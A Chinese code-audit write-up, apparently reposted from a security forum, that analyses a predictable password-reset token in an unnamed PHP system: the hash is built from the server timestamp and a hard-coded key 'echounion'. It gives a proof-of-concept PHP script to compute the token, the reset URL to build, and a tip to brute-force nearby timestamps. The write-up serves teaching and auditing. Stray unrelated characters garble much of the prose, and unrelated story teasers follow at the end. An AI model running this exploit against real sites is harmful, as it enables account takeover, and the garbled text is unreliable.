代碼審計(jì)之任意用戶密碼找回漏洞

來源:http://bbs.ichunqiu.com/thread-10497-1-1.html?from=ch

前言

為了防止被壞蛋哥干掉,出來寫篇文章,這個(gè)是昨晚審的一套系統(tǒng)發(fā)現(xiàn)的一個(gè)任意用戶密碼找回漏洞惭缰,感覺還不錯(cuò)箱叁,就拿這個(gè)來寫文章吧

漏洞起因

造成這漏洞的原因是生成找回密碼密文的key是硬編碼到生成密文的函數(shù)中的驼卖,所以除非站長(zhǎng)直接修改函數(shù)中的key,不然就可以預(yù)測(cè)出密文來找回密碼(不過一般的站長(zhǎng)總不會(huì)自己去修改代碼來解決這漏洞吧葱椭。。)

漏洞分析

我們?cè)谑褂孟到y(tǒng)的郵箱找回密碼功能的時(shí)口四,發(fā)現(xiàn)會(huì)給郵箱發(fā)送這么一個(gè)url,一點(diǎn)擊這個(gè)url就進(jìn)入重新設(shè)置用戶密碼的界面

http://127.0.0.1//xxxxx/index.php?s=/member/reset_password/username/test1/email/3281210550%40qq.com/hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

一打開就進(jìn)入了重新設(shè)置密碼的界面

hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html

可以看到有這么一個(gè)hash值

下面我們來看代碼看看這個(gè)hash值是如何生成的

function find_password()

{

if ($_POST) {

self::check_verify();

$_POST = array_map('strval', $_POST);

if (empty($_POST['username']) || empty($_POST['email']) || !preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $_POST['email'])) {

$this->error('請(qǐng)輸入用戶名與注冊(cè)郵件');

}

$map['username'] = inject_check($_POST['username']);

$map['email'] = inject_check($_POST['email']);

$t = M('member')->where($map)->find();

if (!$t) {

$this->error('用戶名與郵件不匹配');

} else {

$map['hash'] = xxxx_encrypt(time());

$map['addtime'] = time();

M('find_password')->add($map);

$url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . U('Member/reset_password', $map);

$body = "您在" . date('Y-m-d H:i:s') . "提交了找回密碼請(qǐng)求孵运。請(qǐng)點(diǎn)擊下面的鏈接重置密碼(48小時(shí)內(nèi)有效)。
{$url}";

send_mail($t['email'], $t['email'] . '用戶', '用戶找回密碼郵件', $body);

$this->assign("waitSecond", 30);

$this->assign("jumpUrl", U('Member/login'));

$this->success('找回密碼成功蔓彩!請(qǐng)?jiān)?8小時(shí)內(nèi)登陸郵箱重置密碼!');

}

} else {

$this->display();

}

}

復(fù)制代碼

代碼大概的意思就是如果輸入了正確的用戶名和郵箱就調(diào)用了 xxxx_encrypt來生成找回密碼的密文

$map['hash'] = xxxx_encrypt(time());

可以看到hash值是通過xxxx_encrypt函數(shù)生成的治笨,time()函數(shù)的返回值是服務(wù)器當(dāng)前時(shí)間的unix時(shí)間戳


echo time();

?>

然后追蹤下來,看xxxx_encrypt函數(shù)

function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

復(fù)制代碼

可以看到function xxxx_encrypt($string = '', $skey = 'echounion')

key在沒有傳遞的情況下赤嚼,默認(rèn)為$skey = 'echounion'旷赖,而調(diào)用這個(gè)函數(shù)的時(shí)候,第二個(gè)參數(shù)剛好為空更卒,所以key也就是'echounion'了等孵,而且最要命的是這是硬編碼進(jìn)來的,安裝的時(shí)候也沒有對(duì)這個(gè)key進(jìn)行初始化蹂空,也就是說除非站長(zhǎng)直接改動(dòng)代碼流济,不然這個(gè)key就不會(huì)改了,因?yàn)槭怯簿幋a進(jìn)來的

這個(gè)函數(shù)的功能用key對(duì)傳遞過來的string進(jìn)行加密腌闯,雖然這個(gè)加密函數(shù)比較簡(jiǎn)單,不過我這種菜逼還是看的似懂非懂雕憔,不過突然想到了姿骏,加密的值和key都知道了,可以直接預(yù)測(cè)出找回密碼時(shí)生成的密文的斤彼,這樣就可以重置任意用戶的密碼了

function reset_password()

{

if ($_REQUEST['email'] == '' || $_REQUEST['username'] == '' || $_REQUEST['hash'] == '' || $_REQUEST['addtime'] == '') {

$this->errpr('URL參數(shù)不完整');

}

$_REQUEST = array_map('strval', $_REQUEST);

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

if (!$t) {

$this->error('URL參數(shù)不正確');

} else {

if (time > $t['addtime'] + 48 * 3600) {

$this->error('URL已經(jīng)過期');

M('find_password')->where('id=' . $t['id'])->delete();

}

}

if ($_POST) {

if ($_POST['newpwd'] == '' || $_POST['newpwd'] != $_POST['newpwd2']) {

$this->error('密碼不能為空分瘦,兩次密碼輸入必須一致');

}

unset($map['hash']);

unset($map['addtime']);

M('member')->where($map)->setField('userpwd', md5($_POST['newpwd']));

$this->assign("jumpUrl", U('Member/login'));

$this->success('密碼已經(jīng)修改成功!請(qǐng)登陸');

} else {

$this->display();

}

}

復(fù)制代碼

$map['username'] = inject_check($_REQUEST['username']);

$map['email'] = inject_check($_REQUEST['email']);

$map['hash'] = inject_check($_REQUEST['hash']);

$map['addtime'] = inject_check($_REQUEST['addtime']);

$t = M('find_password')->where($map)->find();

addtime和hash是可預(yù)測(cè)的琉苇,也就是說只要知道用戶名和郵箱就可以找回任意用戶的密碼了

漏洞利用

由于value是time()嘲玫,也就是服務(wù)器當(dāng)前時(shí)間的unix時(shí)間戳,而key是硬編碼進(jìn)去的,所以可以直接調(diào)用這個(gè)加密函數(shù)來得到密文并扇,找回密碼

首先點(diǎn)擊忘記密碼去团,輸入你要重置密碼的用戶的用戶名和郵箱,然后點(diǎn)擊驗(yàn)證穷蛹,記住發(fā)送的時(shí)間(可能本地的時(shí)間和服務(wù)器的時(shí)間多多少少有點(diǎn)誤差土陪,這種情況下,可以寫個(gè)小腳本肴熏,生批量生成最近幾十秒unix時(shí)間戳的密文訪問測(cè)試)

假設(shè)這里的時(shí)間戳為1471711028(把時(shí)間轉(zhuǎn)換為時(shí)間戳鬼雀,直接百度一下就有很多相關(guān)的在線工具了)


function xxxx_encrypt($string = '', $skey = 'echounion')

{

$skey = array_reverse(str_split($skey));

$strArr = str_split(base64_encode($string));

$strCount = count($strArr);

foreach ($skey as $key => $value) {

$key < $strCount && $strArr[$key] .= $value;

}

return str_replace('=', 'O0O0O', join('', $strArr));

}

echo xxxx_encrypt("1471711028")

?>

復(fù)制代碼

然后構(gòu)造這么一個(gè)url

http://127.0.0.1/xxxx/index.php?s=/member/reset_password/username/用戶名/email/郵箱/hash/加密后的值/addtime/時(shí)間戳.html

訪問,直接重置這個(gè)用戶的密碼

結(jié)語

通過泉哥對(duì)我前幾篇文章的點(diǎn)評(píng)蛙吏,感覺這次在排版和內(nèi)容詳細(xì)程度上有了不小的進(jìn)步源哩,不過由于本人是個(gè)大菜逼鞋吉,寫的文章難免有錯(cuò)誤之處,希望大家指出励烦,現(xiàn)在的我的技術(shù)還在起步的路上谓着,希望有一天我的技術(shù)可以進(jìn)化到自己都怕自己,同時(shí)推薦一套I春秋主站的視頻教程崩侠,關(guān)于代碼審計(jì)的漆魔,知道創(chuàng)宇出的"漏洞案例講解"(好像是這名字),對(duì)漏洞的分析講的挺詳細(xì)和專業(yè)的却音。最后也謝謝泉哥對(duì)我們文章的點(diǎn)評(píng)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末改抡,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子系瓢,更是在濱河造成了極大的恐慌阿纤,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,657評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件夷陋,死亡現(xiàn)場(chǎng)離奇詭異欠拾,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)骗绕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門藐窄,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人酬土,你說我怎么就攤上這事荆忍。” “怎么了撤缴?”我有些...
    開封第一講書人閱讀 164,057評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵刹枉,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我屈呕,道長(zhǎng)微宝,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,509評(píng)論 1 293
  • 正文 為了忘掉前任虎眨,我火速辦了婚禮蟋软,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘嗽桩。我一直安慰自己钟鸵,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,562評(píng)論 6 392
  • 文/花漫 我一把揭開白布涤躲。 她就那樣靜靜地躺著棺耍,像睡著了一般。 火紅的嫁衣襯著肌膚如雪种樱。 梳的紋絲不亂的頭發(fā)上蒙袍,一...
    開封第一講書人閱讀 51,443評(píng)論 1 302
  • 那天俊卤,我揣著相機(jī)與錄音,去河邊找鬼害幅。 笑死消恍,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的以现。 我是一名探鬼主播狠怨,決...
    沈念sama閱讀 40,251評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼邑遏!你這毒婦竟也來了佣赖?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,129評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤记盒,失蹤者是張志新(化名)和其女友劉穎憎蛤,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體纪吮,經(jīng)...
    沈念sama閱讀 45,561評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡俩檬,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,779評(píng)論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了碾盟。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片棚辽。...
    茶點(diǎn)故事閱讀 39,902評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖冰肴,靈堂內(nèi)的尸體忽然破棺而出屈藐,到底是詐尸還是另有隱情,我是刑警寧澤嚼沿,帶...
    沈念sama閱讀 35,621評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站瓷患,受9級(jí)特大地震影響骡尽,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜擅编,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,220評(píng)論 3 328
  • 文/蒙蒙 一攀细、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧爱态,春花似錦谭贪、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至洞渔,卻和暖如春套媚,著一層夾襖步出監(jiān)牢的瞬間缚态,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工堤瘤, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留玫芦,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,025評(píng)論 2 370
  • 正文 我出身青樓本辐,卻偏偏與公主長(zhǎng)得像桥帆,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子慎皱,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,843評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理老虫,服務(wù)發(fā)現(xiàn),斷路器宝冕,智...
    卡卡羅2017閱讀 134,656評(píng)論 18 139
  • 22年12月更新:個(gè)人網(wǎng)站關(guān)停张遭,如果仍舊對(duì)舊教程有興趣參考 Github 的markdown內(nèi)容[https://...
    tangyefei閱讀 35,182評(píng)論 22 257
  • 1、不安全的隨機(jī)數(shù)生成地梨,在CSRF TOKEN生成菊卷、password reset token生成等,會(huì)造成toke...
    nightmare丿閱讀 3,694評(píng)論 0 1
  • 不知不覺小魚已經(jīng)踏出大學(xué)校園有一個(gè)多月了宝剖,回望過去四年也是感慨萬千洁闰。 既有對(duì)大學(xué)生活的留戀,又有些許遺憾万细。 馬上又...
    好喵不碰小魚干閱讀 1,956評(píng)論 2 10
  • 今天已經(jīng)連續(xù)工作48小時(shí)了扑眉,還要繼續(xù)24小時(shí) 快要撐不住了 好累好累 但是我還是在去往工作的路上 心情不好的時(shí)候最...
    聰米閱讀 254評(píng)論 0 1